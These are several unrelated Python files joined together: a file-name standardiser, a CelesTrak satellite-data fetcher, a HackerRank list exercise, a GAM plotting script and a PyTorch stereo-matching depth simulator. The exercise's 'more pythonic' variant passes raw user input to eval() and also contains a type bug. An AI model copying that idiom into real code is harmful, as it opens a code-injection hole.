        if not extension:
            try:
                directory_log_list.append(new_path)
                access_next_path(new_path)
            except:
                pass
        elif extension == ".ini":
            continue
        else:
            file_padronizer(
                path=path, remove_accent=remove_accent, lower=lower, recursive=recursive
            )
    write_log(path_list=directory_log_list)

def file_padronizer(
    path: str, remove_accent: bool, lower: bool, recursive: bool
) -> None:
    path_list = os.listdir(path)
    for file in path_list:
        name, extension = os.path.splitext(file)
        if name in [".git", ".git/"]:
            continue
        if extension and extension != ".ini":  # in program_formats or text_formats:
            new_name = name.strip()
            new_name = re.sub(pattern=r"\+|-|\(|\)|\.|\_|\__|\s|,|_{2,}|’|'",repl="_",string=new_name)
            new_name = re.sub(pattern=r"_{2,}",repl="_", string=new_name)
            new_name = re.sub(pattern=r"_+$",repl="",string=new_name)
            new_name = re.sub(pattern=r"^_+",repl="", string=new_name)
            if remove_accent:
                new_name = unidecode(unidecode(new_name))
            if lower:
                new_name = new_name.lower()
            elif not lower:
                new_name = new_name.upper()
            new_file = new_name + extension
            os.rename(src=f"{os.path.join(path,file)}", dst=f"{os.path.join(path,new_file)}")
        elif not extension and recursive:
            try:
                new_path = os.path.join(path, name) + "/"
                access_next_path(new_path)
            except:
                continue

if __name__ == "__main__":
    create_log_structure()
    file_padronizer(path, remove_accent, lower, recursive)


import requests

def get_and_filter_data(api_url, filter_params):
    response = requests.get(api_url)

    if response.status_code == 200:
        data = response.json()

        filtered_data = [item for item in data if all(item.get(key) == value for key, value in filter_params.items())]

        return filtered_data
    else:
        print(f"Помилка при запиті: {response.status_code}")
        return None

api_url = "https://celestrak.org/NORAD/elements/gp.php?GROUP=last-30-days&FORMAT=json"
filter_params = {"OBJECT_NAME": "PSYCHE"}

filtered_data = get_and_filter_data(api_url, filter_params)

print(filtered_data)


# Python practise 21 (From hackerrank) - List

"""
List :

Consider a list (list = []). You can perform the following commands:

- insert i e: Insert integer e at position i.
- print: Print the list.
- remove e: Delete the first occurrence of integer e.
- append e: Insert integer e at the end of the list.
- sort: Sort the list.
- pop: Pop the last element from the list.
- reverse: Reverse the list.

Initialize your list and read in the value of  followed by  lines of commands where each command will be of the  types listed above.
Iterate through each command in order and perform the corresponding operation on your list.

Example :
N = 4
append 1
append 2
insert 3 1
print

 append 1 : Append  1 to the list, arr = [1] .
 append 2 : Append 2 to the list, arr = [1, 2].
 insert  3 1 :Insert  3 at index 1 , arr = [1, 3, 2].
 Print the array.

Output:
[1, 3, 2]

Input Format :

The first line contains an integer, n , denoting the number of commands.
Each line i of the n subsequent lines contains one of the commands described above.

Constraints :
The elements added to the list must be integers.

Output Format :
For each command of type print, print the list on a new line.

Sample Input 0 :

12
insert 0 5
insert 1 10
insert 0 6
print
remove 6
append 9
append 1
sort
print
pop
reverse
print

Sample Output 0 :

[6, 5, 10]
[1, 5, 9, 10]
[9, 5, 1]

"""

# Author = Abhinav
# Date = 26 April 2021
# Motive = Just for the python practise to not just learn python also to expert it

if __name__ == "__main__":
    commands = [input() for i in range(int(input()))]
    lst = list()
    for i in commands:
        function, *num = i.split()
        num = list(map(int, num))
        lst.append([function, num])

    commands = list()
    for command, num in lst:
        if command == "print":
            print(commands)
        elif command == "insert":
            commands.insert(num[0], num[1])
        elif command == "append":
            commands.append(num[0])
        elif command == "sort":
            commands.sort()
        elif command == "pop":
            commands.pop()
        elif command == "reverse":
            commands.reverse()
        elif command == "remove":
            commands.remove(num[0])

# One more effective way to do this problem / More pythontonic way
n = input()
l = list()
for _ in range(n):
    s = input().split()
    cmd = s[0]
    args = s[1:]
    if cmd != "print":
        cmd += "(" + ",".join(args) + ")"
        eval("l." + cmd)
    else:
        print(l)


import sys

sys.path.insert(1, 'C:\\Users\\upcnet\\Repositoris\\neuroimatge\\nonlinear2')
sys.path.insert(1, '/Users/acasamitjana/Repositories/neuroimatge/nonlinear2')
from Fitters.GAM import GAM, SmootherSet, SplinesSmoother
import numpy as np
import numpy.random as R
# import matplotlib
# matplotlib.use('GTKAgg')
import matplotlib.pyplot as plt

standardize = lambda x: x  # (x - x.mean()) / x.std()
standarize = lambda x: (x - x.mean())  # / x.std()
nknots = 10
nobs = 129
t1 = R.standard_normal(nobs)
f1 = lambda x: 1 * np.sin(np.pi * np.sort(x))

t2 = t1
s2 = R.standard_normal(nobs)
f2 = lambda x2: (x2 + x2 ** 2)

y = 0.1 * R.standard_normal(nobs)  # np.zeros(nobs)#

z = f1(t1)  # + f2(t2)

y += z

regressor_smoother = SmootherSet()
corrector_smoother = SmootherSet()
# regressor_smoother.append(PolynomialSmoother(t1,order=2))
regressor_smoother.append(SplinesSmoother(t2, order=5, smoothing_factor=0.1))
# regressor_smoother.append(PolynomialSmoother(x3,order=2))

gam = GAM(corrector_smoothers=corrector_smoother, predictor_smoothers=regressor_smoother)
# gam.orthogonalize_all()
gam.fit(y)
y_pred_r = gam.predict()

plt.figure()
plt.plot(gam.correct(y), 'k.')
plt.plot(gam.correct(z), 'b-', label='true')
plt.plot(y_pred_r, 'r-', label='AdditiveModel')
plt.legend()
plt.title('gam.AdditiveModel')
plt.show()
reg_params = gam.prediction_parameters
indx_smthr = 0

plt.figure()
plt.subplot(2, 1, 1)
plt.plot(np.sort(t1), standarize(y - gam.alpha), 'k.')
plt.plot(np.sort(t1), standarize(
    gam.predict(gam.predictors[:, 0][..., None], reg_params[indx_smthr:indx_smthr + 2 + reg_params[indx_smthr + 1]])),
         'r-', label='AdditiveModel')
plt.plot(np.sort(t1), standarize(f1(t1)), 'b-', label='true', linewidth=2)
plt.legend()
plt.title(gam.df_model())

# plt.subplot(2,1,2)
# plt.plot(t2, standarize(y-gam.alpha-f1(t1)),'k.')
# plt.plot(t2, standarize(y-gam.predict(gam.regressors[:,0][...,None],
#                                                 reg_params[indx_smthr:indx_smthr+2+reg_params[indx_smthr+1]])),'g.')
# indx_smthr = 2+reg_params[indx_smthr+1]
# plt.plot(t2, standarize(gam.predict(gam.regressors[:,1][...,None],reg_params[indx_smthr:indx_smthr+2+reg_params[indx_smthr+1]])),
#          'r-', label='AdditiveModel')
# plt.plot(t2, standarize(f2(t2)),'b-',label='true', linewidth=2)
# plt.legend()

plt.show()
a = 1

# plt.figure()
# plt.plot(t1,y-standarize(f2(t2))-standarize(f3(x3))-smoother_results['mean'], 'k.')
# plt.plot(t1, standardize(gam.__predict__()), 'r-', label='AdditiveModel')
# plt.plot(t1, standarize(f1(t1)),label='true', linewidth=2)


import os
import numpy as np
from PIL import Image
import matplotlib.pyplot as plt
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd import Variable
import time
import kornia
import copy
from torch.utils.data import Dataset
import glob
import cv2
os.environ["OPENCV_IO_ENABLE_OPENEXR"] = "1"

def GetGaussianKernel(ksize, sigma=0):
    if sigma <= 0:
        sigma = 0.3 * ((ksize - 1) * 0.5 - 1) + 0.8
    center = ksize // 2
    xs = (torch.arange(ksize, dtype=torch.double, device=sigma.device) - center)
    kernel1d = torch.exp(-(xs ** 2) / (2 * sigma ** 2))
    kernel = kernel1d[..., None] @ kernel1d[None, ...]
    kernel = kernel / kernel.sum()
    return kernel

def BilateralFilter(batch_img, ksize, sigmaColor=None, sigmaSpace=None):
    device = batch_img.device
    if sigmaSpace is None:
        sigmaSpace = 0.15 * ksize + 0.35
    if sigmaColor is None:
        sigmaColor = sigmaSpace

    pad = (ksize - 1) // 2
    batch_img_pad = F.pad(batch_img, pad=[pad, pad, pad, pad], mode='reflect')

    # patches.shape:  B x C x H x W x ksize x ksize
    patches = batch_img_pad.unfold(2, ksize, 1).unfold(3, ksize, 1)
    patch_dim = patches.dim()  # 6

    # calculate normalized weight matrix
    diff_color = patches - batch_img.unsqueeze(-1).unsqueeze(-1)
    weights_color = torch.exp(-(diff_color ** 2) / (2 * sigmaColor ** 2))
    weights_color = weights_color / weights_color.sum(dim=(-1, -2), keepdim=True)

    # obtain the gaussian kernel
    weights_space = GetGaussianKernel(ksize, sigmaSpace).to(device)
    weights_space_dim = (patch_dim - 2) * (1,) + (ksize, ksize)
    weights_space = weights_space.view(*weights_space_dim).expand_as(weights_color)

    # caluculate the final weight
    weights = weights_space * weights_color
    weights_sum = weights.sum(dim=(-1, -2))
    weighted_pix = (weights * patches).sum(dim=(-1, -2)) / weights_sum
    return weighted_pix

# Left corr without zero mean
def CorrLWithoutZeroMean(i, cacheImageL, cacheImageR, filters, padding, eps):
    imageL, _, _, _, _, imageL2Sum = cacheImageL
    imageR, _, _, _, _, imageR2Sum = cacheImageR
    B, C, H, W = imageL.shape

    cropedR = imageR.narrow(3, 0, W - i)
    cropedR2Sum = imageR2Sum.narrow(3, 0, W - i)

    shifted = F.pad(cropedR, (i, 0, 0, 0), "constant", 0.0)
    shifted2Sum = F.pad(cropedR2Sum, (i, 0, 0, 0), "replicate")

    product = shifted * imageL
    productSum = F.conv2d(product, filters, stride=1, padding=padding)
    corrL = (productSum + eps) / (imageL2Sum.sqrt() * shifted2Sum.sqrt() + eps)
    return corrL

# Right corr without zero mean
def CorrRWithoutZeroMean(i, cacheImageL, cacheImageR, filters, padding, eps):
    imageL, _, _, _, _, imageL2Sum = cacheImageL
    imageR, _, _, _, _, imageR2Sum = cacheImageR
    B, C, H, W = imageL.shape

    cropedL = imageL.narrow(3, i, W - i)
    cropedL2Sum = imageL2Sum.narrow(3, i, W - i)
    shifted = F.pad(cropedL, (0, i, 0, 0), "constant", 0.0)
    shifted2Sum = F.pad(cropedL2Sum, (0, i, 0, 0), "replicate")
    product = shifted * imageR
    productSum = F.conv2d(product, filters, stride=1, padding=padding).double()
    corrR = (productSum + eps) / (imageR2Sum.sqrt() * shifted2Sum.sqrt() + eps)

    return corrR

# Left Corr
def CorrL(i, cacheImageL, cacheImageR, filters, padding, blockSize, eps):
    imageL, imageLSum, imageLAve, imageLAve2, imageL2, imageL2Sum = cacheImageL
    imageR, imageRSum, imageRAve, imageRAve2, imageR2, imageR2Sum = cacheImageR
    B, C, H, W = imageL.shape

    cropedR = imageR.narrow(3, 0, W - i)
    cropedRSum = imageRSum.narrow(3, 0, W - i)
    cropedR2Sum = imageR2Sum.narrow(3, 0, W - i)
    cropedRAve = imageRAve.narrow(3, 0, W - i)
    cropedRAve2 = imageRAve2.narrow(3, 0, W - i)

    shifted = F.pad(cropedR, (i, 0, 0, 0), "constant", 0.0)
    shiftedSum = F.pad(cropedRSum, (i, 0, 0, 0), "constant", 0.0)
    shifted2Sum = F.pad(cropedR2Sum, (i, 0, 0, 0), "constant", 0.0)
    shiftedAve = F.pad(cropedRAve, (i, 0, 0, 0), "constant", 0.0)
    shiftedAve2 = F.pad(cropedRAve2, (i, 0, 0, 0), "constant", 0.0)

    LShifted = imageL * shifted
    LShiftedSum = F.conv2d(LShifted, filters, stride=1, padding=padding).double()
    LAveShifted = imageLAve * shiftedSum
    shiftedAveL = shiftedAve * imageLSum
    LAveShiftedAve = imageLAve * shiftedAve
    productSum = LShiftedSum - LAveShifted - shiftedAveL + blockSize * blockSize * C * LAveShiftedAve

    sqrtL = (imageL2Sum - 2 * imageLAve * imageLSum + blockSize * blockSize * C * imageLAve2 + 1e-5).sqrt()
    sqrtShifted = (shifted2Sum - 2 * shiftedAve * shiftedSum + blockSize * blockSize * C * shiftedAve2 + 1e-5).sqrt()

    corrL = (productSum + eps) / (sqrtL * sqrtShifted + eps)
    corrL[:, :, :, :i] = 0

    return corrL

# Right Corr
def CorrR(i, cacheImageL, cacheImageR, filters, padding, blockSize, eps):
    imageL, imageLSum, imageLAve, imageLAve2, imageL2, imageL2Sum = cacheImageL
    imageR, imageRSum, imageRAve, imageRAve2, imageR2, imageR2Sum = cacheImageR
    B, C, H, W = imageL.shape

    cropedL = imageL.narrow(3, i, W - i)
    cropedLSum = imageLSum.narrow(3, i, W - i)
    cropedL2Sum = imageL2Sum.narrow(3, i, W - i)
    cropedLAve = imageLAve.narrow(3, i, W - i)
    cropedLAve2 = imageLAve2.narrow(3, i, W - i)

    shifted = F.pad(cropedL, (0, i, 0, 0), "constant", 0.0)
    shiftedSum = F.pad(cropedLSum, (0, i, 0, 0), "constant", 0.0)
    shifted2Sum = F.pad(cropedL2Sum, (0, i, 0, 0), "constant", 0.0)
    shiftedAve = F.pad(cropedLAve, (0, i, 0, 0), "constant", 0.0)
    shiftedAve2 = F.pad(cropedLAve2, (0, i, 0, 0), "constant", 0.0)

    RShifted = imageR * shifted
    RShiftedSum = F.conv2d(RShifted, filters, stride=1, padding=padding).double()
    RAveShifted = imageRAve * shiftedSum
    shiftedAveR = shiftedAve * imageRSum
    RAveShiftedAve = imageRAve * shiftedAve
    productSum = RShiftedSum - RAveShifted - shiftedAveR + blockSize * blockSize * C * RAveShiftedAve

    sqrtR = (imageR2Sum - 2 * imageRAve * imageRSum + blockSize * blockSize * C * imageRAve2 + 1e-5).sqrt()
    sqrtShifted = (shifted2Sum - 2 * shiftedAve * shiftedSum + blockSize * blockSize * C * shiftedAve2 + 1e-5).sqrt()

    corrR = (productSum + eps) / (sqrtR * sqrtShifted + eps)
    corrR[:, :, :, W - i:] = 0

    return corrR

def warp(x, flo):
    """
    warp an image/tensor (im2) back to im1, according to the optical flow
    x: [B, C, H, W] (im2)
    flo: [B, 2, H, W] flow
    """
    B, C, H, W = x.size()
    # mesh grid
    xx = torch.arange(0, W, dtype=x.dtype, device=x.device).view(1, -1).repeat(H, 1)
    yy = torch.arange(0, H, dtype=x.dtype, device=x.device).view(-1, 1).repeat(1, W)
    xx = xx.view(1, 1, H, W).repeat(B, 1, 1, 1)
    yy = yy.view(1, 1, H, W).repeat(B, 1, 1, 1)
    grid = torch.cat((xx, yy), 1)

    vgrid = grid + flo  # B,2,H,W

    # scale grid to [-1,1]
    vgrid[:, 0, :, :] = 2.0 * vgrid[:, 0, :, :].clone() / max(W - 1, 1) - 1.0
    vgrid[:, 1, :, :] = 2.0 * vgrid[:, 1, :, :].clone() / max(H - 1, 1) - 1.0

    vgrid = vgrid.permute(0, 2, 3, 1)
    output = nn.functional.grid_sample(x, vgrid, align_corners=True)
    mask = torch.ones(x.size(), dtype=x.dtype, device=x.device)
    mask = nn.functional.grid_sample(mask, vgrid, align_corners=True)

    mask[mask < 0.9999] = 0
    mask[mask > 0] = 1
    return output * mask

def LRC(dispL, dispR):
    dispRClone = dispR.clone()
    dispSamplesX = dispL.permute(0, 2, 3, 1)
    dispSamplesY = torch.zeros_like(dispSamplesX)
    dispSamples = torch.cat((-dispSamplesX, dispSamplesY), dim=-1)
    dispSamples = dispSamples.permute(0, 3, 1, 2)

    wrapedDispR = warp(dispRClone, dispSamples)
    disp = dispL.clone()
    disp[torch.pow((dispL - wrapedDispR), 2) > 0.5] = -1.0
    return disp

def LRC1(dispL, dispR):
    device = dispL.device
    B, C, H, W = dispL.shape    # C = 1
    dispSamplesX = dispL.permute(0, 2, 3, 1)

    indexX = torch.arange(0, W, 1, device=device)
    indexX = indexX.repeat(H, 1)
    indexY = torch.arange(0, H, 1, device=device)
    indexY = indexY.repeat(W, 1).transpose(0, 1)

    indexX = indexX.repeat(B, 1, 1, 1).permute(0, 2, 3, 1)
    indexY = indexY.repeat(B, 1, 1, 1).permute(0, 2, 3, 1)

    dispSamplesX = indexX - dispSamplesX

    dispSamplesY = indexY
    dispSamples = torch.cat((dispSamplesX, dispSamplesY), dim=-1)

    dispSamples[:, :, :, 0] = 2.0 * dispSamples[:, :, :, 0].clone() / max(W - 1, 1) - 1.0
    dispSamples[:, :, :, 1] = 2.0 * dispSamples[:, :, :, 1].clone() / max(H - 1, 1) - 1.0

    wrapedDispR = torch.nn.functional.grid_sample(dispR, dispSamples, align_corners=True)
    disp = dispL.clone()
    disp[torch.pow((dispL - wrapedDispR), 2) > 1] = 0

    return disp

# costVolume to disparity
# costVolume [D B C H W], dispVolume [D B C H W]
def CostToDisp(costVolume, dispVolume, beta, eps, subPixel):
    # sub = d + (c1 - c2)/(2*(c1 + c2 - 2*c0))
    if subPixel == True:
        D, B, C, H, W = costVolume.shape
        costVolumePad = torch.full((1, B, 1, H, W), 0, device=costVolume.device)  # padding

        dispVolume = (dispVolume + (torch.cat((costVolumePad, costVolume.narrow(0, 0, D - 1)))
                                   - torch.cat((costVolume.narrow(0, 1, D - 1), costVolumePad)) + eps) / \
                                  (2 * (torch.cat((costVolumePad, costVolume.narrow(0, 0, D - 1)))
                                   + torch.cat((costVolume.narrow(0, 1, D - 1), costVolumePad)) - 2 * costVolume) + eps))

    softmaxAttention = F.softmax(costVolume * beta, dim=0)                  # [D B C H W]
    dispVolume = (softmaxAttention * dispVolume).permute(1, 2, 3, 4, 0)     # [B C H W D]

    return torch.sum(dispVolume, 4)

def DispToDepth(dispImage, f, baselineDis, eps):
    depthImage = f * baselineDis / (dispImage + eps)
    return depthImage

def DepthToPointCloud(depthImage, f):
    B, C, H, W = depthImage.shape
    device = depthImage.device
    du = W//2 - 0.5
    dv = H//2 - 0.5

    pointCloud = torch.zeros([B, H, W, 3], device=device)
    imageIndexX = -(torch.arange(0, W, 1, device=device) - du)
    imageIndexY = -(torch.arange(0, H, 1, device=device) - dv)
    depthImage = depthImage.squeeze()
    if B == 1:
        depthImage = depthImage.unsqueeze(0)

    pointCloud[:, :, :, 0] = depthImage/f * imageIndexX
    pointCloud[:, :, :, 1] = (depthImage.transpose(1, 2)/f * imageIndexY.T).transpose(1, 2)
    pointCloud[:, :, :, 2] = depthImage
    pointCloud = pointCloud.view(B, H*W, 3)
    return pointCloud

def lerp(a,b,x):
    return a + x * (b-a)

def fade(t):
    return 6 * t**5 - 15 * t**4 + 10 * t**3

def gradient(h,x,y):
    vectors = np.array([[0,1],[0,-1],[1,0],[-1,0]], dtype=np.float32)
    g = vectors[h%4]
    return g[:,:,0] * x + g[:,:,1] * y

def perlin(x, y, seed=0):
    # permutation table
    if seed != None:
        np.random.seed(seed)
    p = np.arange(640, dtype=np.int32)
    np.random.shuffle(p)
    p = np.stack([p, p]).flatten()
    # coordinates of the top-left
    xi = x.astype(np.int32)
    yi = y.astype(np.int32)
    # internal coordinates
    xf = (x - xi).astype(np.float32)
    yf = (y - yi).astype(np.float32)
    # fade factors
    u = fade(xf)
    v = fade(yf)
    # noise components
    n00 = gradient(p[p[xi]+yi], xf, yf)
    n01 = gradient(p[p[xi]+yi+1], xf, yf-1)
    n11 = gradient(p[p[xi+1]+yi+1], xf-1, yf-1)
    n10 = gradient(p[p[xi+1]+yi], xf-1, yf)
    # combine noises
    x1 = lerp(n00, n10, u)
    x2 = lerp(n01, n11, u)
    return lerp(x1, x2, v)

def post_processing(disparity_map, diff_insame, min_speckle_aera):
    B, C, H, W = disparity_map.shape

    for b in range(B):
        mask_visited = torch.zeros((H, W), device=disparity_map.device)
        for i in range(H):
            for j in range(W):
                print(b, i, j)
                if mask_visited[i, j] == 1 or disparity_map[b, :, i, j] < 0:
                    continue
                vec = []
                vec.append([i, j])
                mask_visited[i, j] = 1
                cur = 0
                next = 0
                while True:
                    next = len(vec)
                    print(len(vec))
                    for k in range(cur, next, 1):
                        pixel = vec[k]
                        row = pixel[0]
                        col = pixel[1]
                        disp_base = disparity_map[b, :, row, col]
                        for r in range(-1, 2, 1):
                            for c in range(-1, 2, 1):
                                if r == 0 and c == 0:
                                    continue
                                rowr = row + r
                                colc = col + c
                                if rowr >= 0 and rowr < H and colc >= 0 and colc < W:
                                    if mask_visited[rowr, colc] == 0 and torch.abs(disparity_map[b, :, rowr, colc] - disp_base) <= diff_insame:
                                        vec.append([rowr, colc])
                                        mask_visited[rowr, colc] = 1
                    cur = next
                    if next >= len(vec):
                        break
                if len(vec) < min_speckle_aera:
                    for v in vec:
                        disparity_map[b, :, v[0], v[1]] = -1.0
    return disparity_map

class StereoMatching(nn.Module):
    def __init__(self, maxDisp = 60, minDisp = 1, blockSize = 9, eps = 1e-6, subPixel = True, bilateralFilter = True):
        super(StereoMatching, self).__init__()
        self.maxDisp = maxDisp
        self.minDisp = minDisp
        self.blockSize = blockSize
        self.eps = eps
        self.subPixel = subPixel
        self.bilateralFilter = bilateralFilter

    def forward(self, imageL, imageR, f, blDis, beta, sigmaColor=0.05, sigmaSpace=5):
        print("forward start")
        beginTime = time.time()
        # imageL = imageL.type(torch.FloatTensor).cuda()
        # imageR = imageR.type(torch.FloatTensor).cuda()
        B, C, H, W = imageL.shape
        D = self.maxDisp - self.minDisp + 1
        device = imageL.device

        if(self.maxDisp >= imageR.shape[3]):
            raise RuntimeError("The max disparity must be smaller than the width of input image!")

        # Normal distribution noise
        mu = 0.0
        sigma = 1.0
        mu_t = torch.full(imageL.size(), mu)
        std = torch.full(imageL.size(), sigma)
        eps_l = torch.randn_like(std)
        eps_r = torch.randn_like(std)

        if imageL.is_cuda:
            mu_t = mu_t.cuda()
            std = std.cuda()
            eps_l = eps_l.cuda()
            eps_r = eps_r.cuda()

        delta_img_receiver_l = eps_l.mul(std).add_(mu_t)
        delta_img_receiver_r = eps_r.mul(std).add_(mu_t)
        delta_img_receiver_l[delta_img_receiver_l < 0] = 0
        delta_img_receiver_r[delta_img_receiver_r > 255] = 255

        dispVolume = torch.zeros([D, B, 1, H, W], device=device)         # [B C H W D]
        costVolumeL = torch.zeros([D, B, 1, H, W], device=device)        # [B C H W D]
        costVolumeR = torch.zeros([D, B, 1, H, W], device=device)        # [B C H W D]

        filters = Variable(torch.ones(1, C, self.blockSize, self.blockSize, dtype=imageL.dtype, device=device))
        padding = (self.blockSize // 2, self.blockSize // 2)

        imageLSum = F.conv2d(imageL, filters, stride=1, padding=padding)
        imageLAve = imageLSum/(self.blockSize * self.blockSize * C)
        imageLAve2 = imageLAve.pow(2)
        imageL2 = imageL.pow(2)
        imageL2Sum = F.conv2d(imageL2, filters, stride=1, padding=padding)

        imageRSum = F.conv2d(imageR, filters, stride=1, padding=padding)
        imageRAve = imageRSum/(self.blockSize * self.blockSize * C)
        imageRAve2 = imageRAve.pow(2)
        imageR2 = imageR.pow(2)
        imageR2Sum = F.conv2d(imageR2, filters, stride=1, padding=padding)

        cacheImageL = [imageL, imageLSum, imageLAve, imageLAve2, imageL2, imageL2Sum]
        cacheImageR = [imageR, imageRSum, imageRAve, imageRAve2, imageR2, imageR2Sum]

        # calculate costVolume
        testBeginTime = time.time()
        for i in range(self.minDisp, D + 1, 1):
            # ConcostVolume and dispVolume
            costVolumeL[i - self.minDisp] = CorrL(i, cacheImageL, cacheImageR, filters, padding, self.blockSize, self.eps)
            costVolumeR[i - self.minDisp] = CorrR(i, cacheImageL, cacheImageR, filters, padding, self.blockSize, self.eps)
            dispVolume[i - self.minDisp] = torch.full_like(costVolumeL[0], i)

        testEndTime = time.time()
        print("costVolume Time: ", testEndTime - testBeginTime)

        # calculate disparity map
        testBeginTime = time.time()
        dispL = CostToDisp(costVolumeL, dispVolume, beta, self.eps, self.subPixel)
        dispR = CostToDisp(costVolumeR, dispVolume, beta, self.eps, self.subPixel)

        testEndTime = time.time()
        print("costToDisp Time: ", testEndTime - testBeginTime)

        # dispL[dispL < self.minDisp] = -1.0
        # dispL[dispL > self.maxDisp] = -1.0
        # dispR[dispR < self.minDisp] = -1.0
        # dispR[dispR > self.maxDisp] = -1.0

        dispLRC = LRC(dispL, dispR)
        disp = dispLRC

        if self.bilateralFilter == True:
            # disp: torch.Tensor = kornia.median_blur(disp, (5, 5))
            disp = kornia.filters.median_blur(disp, (5, 5))
            disp = BilateralFilter(disp, 7, sigmaColor=sigmaColor * D, sigmaSpace=sigmaSpace)

        disp[disp < self.minDisp] = -1.0
        disp[disp > self.maxDisp] = -1.0
        # disp = post_processing(disp, 2, 100)
        # disparity to depth
        depthImage = DispToDepth(disp, f, blDis, self.eps)  # [B H W]

        # depthImage[depthImage > 4000] = 0.0
        depthImage[depthImage < 0] = -0.001
        depthImage[depthImage > 3.5] = -0.001

        # depth to point cloud
        pointCloud = DepthToPointCloud(depthImage, f)
        endTime = time.time()
        print("forward finish")
        print("forward time: ", endTime - beginTime)
        return depthImage, pointCloud

class DREDS(Dataset):
    def __init__(self, root, scale):
        self.root = root
        self.scale = scale
        self.ir_l_list = []
        self.ir_r_list = []
        self.depth_list = []
        for img_id in glob.glob(self.root+"/*/*_ir_l.png"):
            if not os.path.exists(img_id[:-8] + "simDepthImage.exr"):
                path = img_id[:-8]
                self.ir_l_list.append(path + "ir_l.png")
                self.ir_r_list.append(path + "ir_r.png")
                self.depth_list.append(path + "depth_120.exr")
        print(self.ir_l_list, self.ir_r_list, self.depth_list)

    def __getitem__(self, index):
        # read ir image to tensor
        ir_l_path = self.ir_l_list[index]
        ir_r_path = self.ir_r_list[index]
        imageL = Image.open(ir_l_path).convert("L")
        imageR = Image.open(ir_r_path).convert("L")
        imageL = np.array(imageL.resize((int(imageL.size[0] * self.scale), int(imageL.size[1] * self.scale)))).astype(np.float32)
        imageR = np.array(imageR.resize((int(imageR.size[0] * self.scale), int(imageR.size[1] * self.scale)))).astype(np.float32)
        imageL = np.array([imageL]).transpose(1, 2, 0)
        imageR = np.array([imageR]).transpose(1, 2, 0)
        imageLTensor = torch.from_numpy(imageL.transpose(2, 0, 1))
        imageRTensor = torch.from_numpy(imageR.transpose(2, 0, 1))

        # read depth to tensor
        depth_image_path = self.depth_list[index]
        image = cv2.imread(depth_image_path, cv2.IMREAD_ANYCOLOR | cv2.IMREAD_ANYDEPTH)
        depth_array = image[:, :, 0]
        depthTensor = torch.from_numpy(depth_array).unsqueeze(0)
        return imageLTensor, imageRTensor, ir_l_path, ir_r_path, depthTensor

    def __len__(self):
        return len(self.ir_l_list)

def main_batch():
    ###########################
    # Parameter setting
    ###########################
    scale = 0.5                             # image scale
    beta = torch.tensor(100.)               # beta para of softArgmax
    blockSize =11                           # stereo matching para
    maxDisp = 110                           # max disparity between left and right images
    minDisp = 3                             # min disparity between left and right images
    f = torch.tensor(446.31)                # focal length of the sensor
    baselineDis = torch.tensor(0.055)       # baseline distance of the sensor
    subPixel = True                         # whether to calculate subpixel
    bilateralFilter = True                  # whether to use bilateral filter
    sigmaColor = torch.tensor(0.02)         # color para of bilateral filter
    sigmaSpace = torch.tensor(3.)           # space para of bilateral filter
    gpu_id = 6
    batch_size = 8
    input_root = "./rendered_output"
    save_root = "./rendered_output"

    ###########################
    # Main
    ###########################
    torch.cuda.set_device(gpu_id)

    DREDS_DATASET = DREDS(root=input_root, scale=scale)
    print("Len: ", len(DREDS_DATASET))
    DataLoader = torch.utils.data.DataLoader(DREDS_DATASET, batch_size=batch_size, shuffle=False, num_workers=10)

    beta = torch.autograd.Variable(beta)
    sigmaColor = torch.autograd.Variable(sigmaColor)
    sigmaSpace = torch.autograd.Variable(sigmaSpace)

    object = StereoMatching(maxDisp=maxDisp, minDisp=minDisp, blockSize=blockSize, eps=1e-6, subPixel=subPixel,
                            bilateralFilter=bilateralFilter)

    for i, (imageLTensor, imageRTensor, ir_l_path, ir_r_path, depthTensor) in enumerate(DataLoader):
    # for i, (imageLTensor, imageRTensor, ir_l_path, ir_r_path) in enumerate(DataLoader):
        if torch.cuda.is_available():
            print("using cuda")
            imageLTensor = imageLTensor.cuda()
            imageRTensor = imageRTensor.cuda()
            depthTensor = depthTensor.cuda()
            beta = beta.cuda()
            sigmaColor = sigmaColor.cuda()
            sigmaSpace = sigmaSpace.cuda()
            f = f.cuda()
            baselineDis = baselineDis.cuda()

        # stereo matching
        depthImage, pointCloud = object(imageLTensor, imageRTensor, f, baselineDis, beta, sigmaColor, sigmaSpace)    # [B C H W]

        # # syndepth to pc
        # pointCloudSyn = DepthToPointCloud(depthTensor, f)

        # Plotting
        for i in range(imageLTensor.shape[0]):
            # save sim pc and depth
            # pointCloudCpu = pointCloud[i].data.cpu().numpy()
            # pointCloudCpu = np.delete(pointCloudCpu, pointCloudCpu[:, 2] < 0, axis=0)

            # pointCloudCaptra = copy.deepcopy(pointCloudCpu)
            # pointCloudCaptra[:, 0] = pointCloudCpu[:, 0]
            # pointCloudCaptra[:, 1] = pointCloudCpu[:, 1]
            # pointCloudCaptra[:, 2] = pointCloudCpu[:, 2]

            save_dir = os.path.join(save_root, ir_l_path[i].split("/")[-2])
            if os.path.exists(save_dir) == False:
                os.makedirs(save_dir)

            # print(save_dir + "/%s_simDepthImage.png"%ir_l_path[i].split("/")[-1][:4])
            # plt.imsave(save_dir + "/%s_simDepthImage.png"%ir_l_path[i].split("/")[-1][:4], depthImage[i].squeeze().data.cpu().numpy()*255., cmap="gray")

            depthImageExr = depthImage[i].squeeze().data.cpu().numpy().astype("float32")
            depthImageExr = np.stack((depthImageExr,)*3, axis=-1)
            print(save_dir + "/%s_simDepthImage.exr"%ir_l_path[i].split("/")[-1][:4])
            cv2.imwrite(save_dir + "/%s_simDepthImage.exr"%ir_l_path[i].split("/")[-1][:4], depthImageExr)

            # print(save_dir + "/%s_simPointCloud.txt"%ir_l_path[i].split("/")[-1][:4])
            # np.savetxt(save_dir + "/%s_simPointCloud.txt"%ir_l_path[i].split("/")[-1][:4], pointCloudCaptra, fmt="%.04f", delimiter=" ")

            # # save syn pc and depth
            # pointCloudSynCpu = pointCloudSyn[i].data.cpu().numpy()
            # pointCloudSynCpu = np.delete(pointCloudSynCpu, pointCloudSynCpu[:, 2] < 0, axis=0)

            # pointCloudSynCaptra = copy.deepcopy(pointCloudSynCpu)
            # pointCloudSynCaptra[:, 0] = pointCloudSynCpu[:, 0]
            # pointCloudSynCaptra[:, 1] = pointCloudSynCpu[:, 1]
            # pointCloudSynCaptra[:, 2] = pointCloudSynCpu[:, 2]

            # plt.imsave(save_dir + "/%s_synDepthImage.png"%ir_l_path[i].split("/")[-1][:4], depthTensor[i].squeeze().data.cpu().numpy()*255., cmap="gray")
